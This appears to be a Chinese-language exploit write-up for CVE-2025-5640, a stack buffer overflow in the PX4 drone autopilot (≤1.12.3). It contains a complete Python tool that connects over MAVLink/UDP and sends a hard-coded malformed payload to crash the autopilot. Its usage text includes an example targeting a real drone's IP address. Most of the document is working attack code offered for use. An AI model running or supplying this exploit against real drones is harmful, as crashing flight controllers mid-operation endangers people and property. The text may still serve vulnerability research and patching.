PX4军用无人机自动驾驶仪1.12.3 - 缓冲区溢出导致的拒绝服务攻击

本文详细分析了PX4军用无人机自动驾驶仪1.12.3版本中的缓冲区溢出漏洞(CVE-2025-5640),通过构造恶意的MAVLink消息可实现远程拒绝服务攻击,包含完整的Python利用代码和攻击原理说明。

漏洞标题:PX4军用无人机自动驾驶仪1.12.3 - 拒绝服务(DoS)

作者:Mohammed Idrees Banyamer (@banyamer_security)

GitHub:https://github.com/mbanyamer

日期:2025-06-21

测试环境:Ubuntu 20.04 LTS + PX4 SITL (jMAVSim)

CVE:CVE-2025-5640

类型:通过缓冲区溢出实现的拒绝服务(DoS)

平台:跨平台(军用无人机/PX4 SITL/基于Linux的自动驾驶地面站)

作者国家:约旦

描述:

PX4军用无人机自动驾驶仪<=1.12.3版本中存在一个基于栈的缓冲区溢出漏洞,

当处理格式错误的MAVLink消息类型TRAJECTORY_REPRESENTATION_WAYPOINTS时触发。

攻击者通过访问MAVLink通信通道发送特制数据包可使自动驾驶仪崩溃,

可能破坏军用无人机操作。此漏洞利用展示了一个通过UDP导致PX4自动驾驶仪崩溃的概念验证。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
import argparse
import binascii
from pymavlink import mavutil
import sys

# 漏洞利用载荷(格式错误的MAVLink十六进制数据)
hex_payload = (
    "fdef0000dcea6f4c01006de9d06a0548182a1fcc8b7cc542eb8945a54baa92ee908db9af0195bb5dce5f9ab613be912485d34e577c352"
    "c5cdc06592484be1aecd64a07127bda31fc8f41f300a9e4a0eab80d8835f106924f0b89ece3e256dda30e3001f07df4e1633e6f827b78"
    "12731dbc3daf1e81fc06cea4d9c8c1525fb955d3eddd7454b54bb740bcd87b00063bd9111d4fb4149658d4ccd92974c97c7158189a8d6"
)

def connect_to_px4(ip, port, timeout, verbose=False):
    try:
        if verbose:
            print(f"[*] 连接到PX4 udp:{ip}:{port} ...")
        master = mavutil.mavlink_connection(f"udp:{ip}:{port}")
        master.wait_heartbeat(timeout=timeout)
        if verbose:
            print("[+] 收到PX4心跳信号。连接正常。")
        return master
    except Exception as e:
        print(f"[!] 连接PX4时出错: {e}")
        sys.exit(1)

def send_dos_packet(master, verbose=False):
    try:
        payload = binascii.unhexlify(hex_payload)
        master.write(payload)
        print("[+] 漏洞利用数据包已发送。监控PX4是否崩溃。")
    except Exception as e:
        print(f"[!] 发送载荷失败: {e}")
        sys.exit(1)

def main():
    usage = """
    PX4漏洞利用工具 - CVE-2025-5640
    =================================
    通过MAVLink利用PX4自动驾驶仪中的缓冲区溢出漏洞。

    用法:
        python3 px4_exploit_tool.py [选项]

    示例:
        # 对默认PX4 SITL运行DoS攻击
        python3 px4_exploit_tool.py --mode dos

        # 测试与真实无人机的连接性
        python3 px4_exploit_tool.py --mode check --ip 192.168.10.10 --port 14550

    选项:
        --ip        目标IP地址(默认: 127.0.0.1)
        --port      目标UDP端口(默认: 14540)
        --mode      操作模式: dos(默认), check
        --timeout   心跳超时时间(秒)(默认: 5)
        --verbose   启用详细输出
    """
    parser = argparse.ArgumentParser(
        description="PX4 MAVLink DoS漏洞利用工具 (CVE-2025-5640) by @banyamer_security",
        epilog=usage,
        formatter_class=argparse.RawDescriptionHelpFormatter
    )
    parser.add_argument("--ip", default="127.0.0.1", help="目标IP地址(默认: 127.0.0.1)")
    parser.add_argument("--port", type=int, default=14540, help="目标UDP端口(默认: 14540)")
    parser.add_argument("--timeout", type=int, default=5, help="心跳超时时间(秒)(默认: 5)")
    parser.add_argument("--mode", choices=["dos", "check"], default="dos", help="模式: dos(默认)或检查连接")
    parser.add_argument("--verbose", action="store_true", help="启用详细输出")

    args = parser.parse_args()

    master = connect_to_px4(args.ip, args.port, args.timeout, args.verbose)

    if args.mode == "check":
        print("[*] PX4运行正常。连接测试通过。")
    elif args.mode == "dos":
        send_dos_packet(master, args.verbose)


if __name__ == "__main__":
    main()
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计